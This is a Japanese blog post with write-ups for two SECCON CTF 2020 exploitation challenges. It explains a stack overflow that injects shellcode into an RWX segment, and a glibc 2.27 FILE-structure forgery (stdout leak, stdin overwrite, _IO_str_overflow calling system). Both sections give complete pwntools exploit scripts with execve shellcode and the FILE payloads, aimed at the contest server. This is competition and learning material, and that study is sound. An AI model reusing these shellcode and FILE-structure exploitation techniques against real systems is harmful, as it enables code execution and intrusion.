newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 38.0】SECCON CTF 2020 ~ part.1 lazynote / pwarmup

keywords

forge _IO_FILE_plus to leak / libc2.27

 

 

1: イントロ

いつぞや開催された SECCON CTF 2020

開始3時間で悟ってしまい放棄してしまいましたが、pwn問題は全部解いていくことにします。sandbox問題は余力があったら全部解こうと思います。

本エントリでは、pwnの中でsolve数が多かった2問を取り上げます。

どうせこれを書き上げる頃には作問者様のwriteupが出ていると思うので、本エントリでは速さではなく詳細な説明をする様に心がけようと思います。

 

お知らせ

あらゆることに成果が出せていないのにブログを書くのがhogeになったため、本シリーズを投稿した後は一旦ブログを閉鎖することにしました。なんやかんや色んな人に見て頂けて嬉しかったです。 iPadで書いたブログなんかは気分で書いたのに、discordで海外の人に「画像だと翻訳できないからテキスト版をくれないか」と言われたときには、翻訳するべきか迷いました。まぁ流石に渡しませんでしたけどね。公開設定を自分だけにするだけなので、気分が向いたらひょっこりともとに戻すかもしれません。その時まで。

 

 

2: pwarmup

静的解析

./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=02a44cf279881f5887ca24374b56d586be571c89, not stripped

    RELRO:    No RELRO

    Stack:    No canary found

    NX:       NX disabled

    PIE:      No PIE (0x400000)

    RWX:      Has RWX segments

 libc配布なし。ソースコード配布。

 

Vulns / Attack Vector

scanf を用いているため、自明なスタックオーバーフローがある。また、カナリアは居ないためSSPに殺されることもない。また、0x60000 領域が RWX になっているためここに RBP を移動させて再び main を実行することでシェルコードを注入することができる。

尚、一度目のmainで stdout/stderr はcloseされているためシェルを取った後は exec 1>&0 で再び開く必要が有る。

 

Exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
ports = (9001,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge():
  global c
  pass

## exploit ###########################################

def exploit():
  global c
  # pop: r13 rdi rsi r14 r15 
  main = 0x4006b7
  pop_rdi = 0x4007e3
  ret = 0x400566
  shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
  got = 0x600bd8

  c.recvline()
  pay = ""
  pay += "A"*0x20
  pay += p64(0x600000+0x40) # rbp

  pay += p64(0x4006bf) #RA

  c.sendline(pay)

  # 2R 
  sleep(1)
  pay = ""
  pay += p64(0x600050) * (0x30//8)
  pay += shellcode
  c.sendline(pay)

  c.sendline("exec 1>&0")
  c.sendline("cat ./flag-e6951df0400add6a6b5be11f25b80cea.txt")


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

f:id:smallkirby:20201011214203p:plain

flag of pwarmup


 

 

 

 

 

3: lazynote

静的解析

./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1663726383f8586f276451381e6fbb6f3d2d675, not stripped

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

 libc 2.27

 

任意サイズの calloc を4回のみ行うことができる。edit/view/delete 等の機能は実装されていない。

 

Vulns

本プログラムでは、calloc するサイズ csize と読み込むデータサイズ rsize の2つをそれぞれ聞いてくる。rsize < csize の場合には csize=rsize に修正し、結局 csize だけ calloc することになる。よって、rsize > csize にすることで直接的に任意の値をオーバーフローさせることはできない。

問題はその後で、readline でユーザからのデータを入力した後以下のようにNULL終端させている。

f:id:smallkirby:20201011214913p:plain

inappropriate NULL termination

 まずそもそもに、readline の内部で呼ばれている fgets はそれ自体でNULL終端してくれるため呼び出し側がNULL終端させる必要はない。

f:id:smallkirby:20201011215117p:plain

_IO_fgets @ iofgets.c

案の定、rsize > csize の場合には確保したバッファを超えてNULLクリアすることになってしまう。

というわけで、今回のattack vector1byte relative NULL clear x 4 のみということになる。

 

libcbase leak

持っているvectorがrelativeであるために、バッファは libcbase とのオフセットが既知である場所に取られていなければならない。幸いにも本プログラムでは任意サイズの calloc ができる。よって、system_mem よりも大きいサイズ(>0x21000)を calloc してやれば mmap してくれる。

f:id:smallkirby:20201011215750p:plain

threshold for mmap

mmap によって確保される領域は libcbase とのオフセットが固定であるため、前述の NULL clear によって任意の libc symbol をNULL clearすることができる。 

f:id:smallkirby:20201011215943p:plain

In this case, the offset is 0xc3000 (0x7fd3102ee000-0x7fd31022b000)

まずは libcbase leak をすることにする。基本的な方針は2018年のHITCONの問題と同じで(以下のエントリで述べられている) FILE structure exploit である。

 

smallkirby.hatenablog.com

 

詳しくは上のエントリを参照されたいとだけ言ってスキップしてしまってもいいが、自分自身よくFILE exploitを理解していない感じがあったので、コードベースで丁寧に方針をおさらいしていくことにする。

 

puts によってlibc symbolをleakさせたいため、まずはこいつから考えよう。putsstdout の関数テーブルである _IO_file_jmps を参照して _IO_new_file_xsputn を呼ぶ。そして以下のようにして _IO_OVERFLOW を呼ぶ。引数 f は stdout である。

f:id:smallkirby:20201011222345p:plain

_IO_new_file_xsputn @ fileops.c

ここで第2引数 ch に EOF を渡しているため、内部では do_new_write が呼ばれる。この際の引数に注目すると、stdout->_IO_write_base から stdout->_IO_write_ptr - stdout->_IO_write_base byte分だけ出力するようになることが分かる。

f:id:smallkirby:20201011222716p:plain

_IO_new_file_overflow @ fileops.c

この後は引数をほぼそのままに write を呼ぶだけである。

 

さて、それでは puts を呼んだ際の stdout->_IO_write_base がどうなっているかを見てみると、以下のようになっている。

f:id:smallkirby:20201011222935p:plain

stdout when puts

おおよそ stdout の内部を指していることが分かる。この時、_IO_write_base のLSBをNULL clearすると _IO_write_base が stdout 自身を指すことになる。即ち、上で見た do_new_write 内部の write において stdout 自身の値を出力させることができるようになる。出力サイズ自体は write_ptr と write_base の差を取って計算されるが、write_base を小さく書き換えているため十分である。

 

それでは早速相対書き換えによって stdout->_IO_write_base を書き換えてleakをしようと思って試してみても、何も出力はされないだろう。というのも、do_new_write の内部において、以下のようなチェックが有る。

f:id:smallkirby:20201011223616p:plain

new_do_write @ fileops.c

_IO_read_end_IO_write_base が等しくない場合には lseek64 を呼び出している。ここで _IO_write_base をNULL clearした状態のstdoutは以下のようになっている。

f:id:smallkirby:20201011223926p:plain

stdout after NULL clear

確かに read_end と write_base が異なるために、lseek64 が呼ばれることになる。だがこの lseek64 は不正呼び出しのために pos_BAD を返してくる。そのため、即座に return 0 されて結局 puts は何もせずに終わることになる。leakなんてできやしない。

 

さて、対策としては単純に上の条件分岐をfalseにするため _IO_read_end も事前にNULL clearしてやればいい。但しその場合には、_IO_write_end も書き換えるまで出力が一切されなくなることに注意。

 

上記の方針で read_end と write_base を書き換えると以下のようにstdoutが出力されるため、libcbaseがleakできたことになる。

f:id:smallkirby:20201011224324p:plain

libcbase leak

 

Limited arbitrary write into stdin

続いて stdin を壊していくことにする。

 

_IO_fgets は内部的には _IO_getline を呼び、更にすぐ _IO_getline_info を呼ぶことになる。その中で、 stdout->_IO_read_end - fp->_IO_read_ptr < 0 ならば __uflow を呼ぶ。

f:id:smallkirby:20201011220624p:plain

_IO_getline_info @ iogetline.c

この __uflow は内部的に stdin のジャンプテーブルである _IO_file_jmps を参照し、_IO_new_file_underflow を呼ぶ。こいつは普通の条件の場合には read を呼ぶことになる。その際の引数は以下のようにして決定される。

f:id:smallkirby:20201011220901p:plain

_IO_new_file_underflow @ fileops.c

やはり先程の do_new_write の場合と同様に、stdin->_IO_buf_base に対して read を行っている。よって、stdin->_IO_buf_base をNULL clearしてstdinを指すようにしてやることで、stdin に対して任意の値を書き込んでやることができる。

 

あとは stdin を適当に forge してやれば終わりか?というとそうではない。read の第3引数は _IO_buf_end - _IO_buf_base になっており、これはNULL clearによって生じた差の分だけしかない。今回の場合は 0x84 byteのみである。これは stdin をforgeするには若干足りない。

しかも、ここまでで既に3回 calloc しているため、残り一回しか読み込みを行うことはできない。

 

対処法としてはシンプルで、まずは stdin の前半にある _IO_buf_end を任意の大きい値に書き換えてあげればいいだけである。そうすれば、次の read では更に大きい値分だけ読み込むことができる。

残り一回しか読み込めないんじゃなかったんかとブチ切れて発狂しだす輩もいるかもしれないが、大丈夫。もう一度 _IO_getline_info を見返してみよう。

f:id:smallkirby:20201011225316p:plain

_IO_getline_info @ iogetline.c

このwhileループ及び内部の __uflow は、read_end < read_ptr である限り行われる。従って、1回目の __uflow において stdin の前半に有る read_end / buf_base / buf_end を書き換えた後、2回目の __uflow において好きなだけ stdin をforgeしてしまえばよい。

以上の方針で1回目の __uflow を終えた後の stdin は以下のようになっている。

f:id:smallkirby:20201011225909p:plain

stdin after partial overwrite

read_baseはstdinを指しており、buf_end-buf_baseは十分な大きさを持っているため、stdin全体をforgeすることができるようになった。なお、こいつら以外をoverwriteする値は何でも良いが、read_end は read_ptr よりも小さくなっている必要が有る。

 

 

 

Forge stdin via unimited arbitrary write into stdin

あとは、最近の zer0pts CTF とか他諸々のCTFでも大量に出ている方針と同じ方針でいける。

smallkirby.hatenablog.com

尚、今回は onegadget は全て使えない。よって、_IO_str_overflow 内部での call において RDI には new_buf として 2 * (_IO_buf_end - _IO_buf_base) + 0x64 が入ることを利用して、任意の値が入れられる。

f:id:smallkirby:20201012004713p:plain

_IO_str_overflow @ strops.c

 

Exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = "./libc-2.27.so"

hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
ports = (9003,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

note =" " 
enpitu = "✏️ "
trash = "🗑️ "
eye = "👀"

def hoge(ix):
  global c
  c.recvuntil(">")
  c.sendline(str(ix))

def a(csize, rsize, data, ret=False):
  if ret:
    c.sendline(str(1))
    c.sendline(str(csize))
    c.sendline(str(rsize))
    c.sendline(data)
    return
  hoge(1)
  c.recvuntil("alloc size: ")
  c.sendline(str(csize))
  c.recvuntil("read size: ")
  c.sendline(str(rsize))
  c.recvuntil("data: ")
  c.sendline(data)

## exploit ###########################################


def exploit():
  global c
  big_size = 0x40300
  mmap_dif = 0x1f7760

  if False: # my libc
    a(big_size, mmap_dif+0x11-0x10, "A"*0x10) # read_end
    a(big_size, big_size+0x10+0xcd0+0x20 + mmap_dif + 0x11, "A"*0x10, True)
    libc_dif = 0x1b85b0
  else:
    mmap_dif += 0x235ff0+0x10
    a(big_size, mmap_dif+0x1,  "A"*0x10)
    a(big_size, big_size + mmap_dif+0xcd0+0x1+0x40,  "A"*0x10, ret=True)
    libc_dif = 0x1b85b0 + 0x235300

  libcbase = unpack(c.recvuntil(p8(0x7f))[-6:].ljust(8,'\x00')) - libc_dif
  print("[+] libcbase: "+hex(libcbase))

  # make stdin->buf_end into stdin itself
  if False: # mylibc
    a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end
  else:
    a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end

  # forge fake stdin
  stdin = libcbase + libc.symbols["_IO_2_1_stdin_"]
  pay2 = b""
  pay2 += p64(0) # flag
  pay2 += p64(stdin) # read_ptr

  pay2 += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
  pay2 += p64(stdin) # read_base
  pay2 += p64(stdin) # write_base

  pay2 += p64((libcbase+0x1b40fa-0x64)//2) # write_ptr binsh
  pay2 += p64(stdin) # write_end

  pay2 += p64(0) # buf_base
  pay2 += p64((libcbase+0x1b40fa-0x64)//2) # buf_end
  pay2 += p64(0)*0x12
  pay2 += p64(libcbase + libc.symbols["_IO_file_jumps"]+0xc0 - 0x10) # _IO_str_jmps
  pay2 += p64(libcbase + libc.symbols["system"]) # system 
  pay2 = pay2.ljust(0x100,'\x00')


  pay = b""
  pay += p64(0xfbad208b) # flag
  pay += p64(stdin) # read_ptr

  pay += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
  pay += p64(stdin) # read_base
  pay += p64(stdin) # write_base
  pay += p64(stdin) # write_ptr
  pay += p64(stdin) # write_end

  pay += p64(stdin) # buf_base
  pay += p64(stdin+len(pay2)) # buf_end
  pay = pay.ljust(0x84,'\x00')
  pay += pay2
  c.sendline(pay)


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

 

3: アウトロ

トイレの水が止まらなくなって泣いています

 

 

次回は kstack やろうかな。 

ほんのちょっとだけ続く。。。

 

 

 

 

You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.